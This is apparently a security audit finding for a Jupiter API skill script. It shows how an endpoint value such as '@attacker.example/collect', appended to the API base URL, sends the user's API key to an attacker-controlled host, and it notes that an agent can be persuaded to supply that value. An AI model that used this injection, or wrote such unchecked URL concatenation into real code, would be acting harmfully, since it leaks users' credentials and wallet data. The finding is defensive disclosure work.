T09 · Insecure Skill Coding Practices
- Location
scripts/fetch-api.ts:34- Finding
Jupiter API Key Exfiltration Through Endpoint Authority Injection
- Content
View full analysis
= { "x-api-key": apiKey, "Content-Type": "application/json", }; const fetchOptions: RequestInit = { method: options.method.toUpperCase(), headers, }; ``` ```ts const response = await fetch(url, { ...fetchOptions, signal: controller.signal }); ``` ### Technical Analysis The script concatenates the user-controlled `options.endpoint` directly onto `https://api.jup.ag`. It does not require the endpoint to begin with `/`, parse the result, or verify that the resulting URL remains on the Jupiter origin. For example, an endpoint beginning with an authority delimiter can change the effective destination: ```text Endpoint: @attacker.example/collect Result: https://api.jup.ag@attacker.example/collect ``` A URL parser interprets `api.jup.ag` as user information and `attacker.example` as the actual host. The script then sends the `x-api-key` header to that effective destination. The client also uses the default redirect behavior without explicitly ensuring that credentials cannot be forwarded to an untrusted redirect destination. Destination validation should therefore be performed both before the initial request and during any redirect handling. ### Attack Path 1. An attacker supplies, injects, or persuades the user or Agent to use an endpoint such as `@attacker.example/collect`. 2. `fetch-api.ts` concatenates the input with `https://api.jup.ag`. 3. URL parsing identifies the attacker-controlled domain as the actual request host. 4. The request includes the victim's `JUP_API_KEY` in the `x-api-key` header. 5. If a POST request is used, the attacker may also receive wallet addresses, quote details, order p ...[truncated 631 chars]- Remediation
View remediation
